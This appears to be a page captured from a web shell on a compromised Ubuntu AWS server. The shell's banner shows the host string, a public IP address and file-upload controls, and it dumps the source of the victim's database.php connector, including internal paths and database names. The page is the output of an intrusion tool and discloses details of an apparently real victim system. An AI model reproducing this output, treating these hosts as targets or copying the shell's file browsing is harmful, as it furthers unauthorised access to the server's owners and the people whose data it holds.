0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.133.148.222


Current Path : /proc/thread-self/root/var/www/html/pgadm2020/
Upload File :
Current File : //proc/thread-self/root/var/www/html/pgadm2020/database.php

<?php
session_start();
	//include("../consts.php");
	include("/var/www/config.php");
	
	
	$servername = SERVERNAME;
	$username   = USERNAME;
	$password  = PASSWORD;
	$dbnames = [ 
		'rcub' => 'logisys3_rcu',
		'vskub' => 'logisys3_vku',
		'bcu' => 'logisys3_bcu',
		'bcupg' => 'logisys3_bcu',
		'bcupg' => 'logisys3_bcu',
		'dud' => 'logisys3_dud',
		'bnu' => 'logisys3_bnu'
	];     
	$db = $_REQUEST['db'];
	$databse = $dbnames[$db];
	//var_dump(SERVERNAME,USERNAME,PASSWORD,$dbnames[$db]);
	$conn = new  mysqli($servername,$username,$password,$databse);
	if(!$conn) 
	{
        die("Connection failed: " . mysqli_connect_error());
	}
	
?>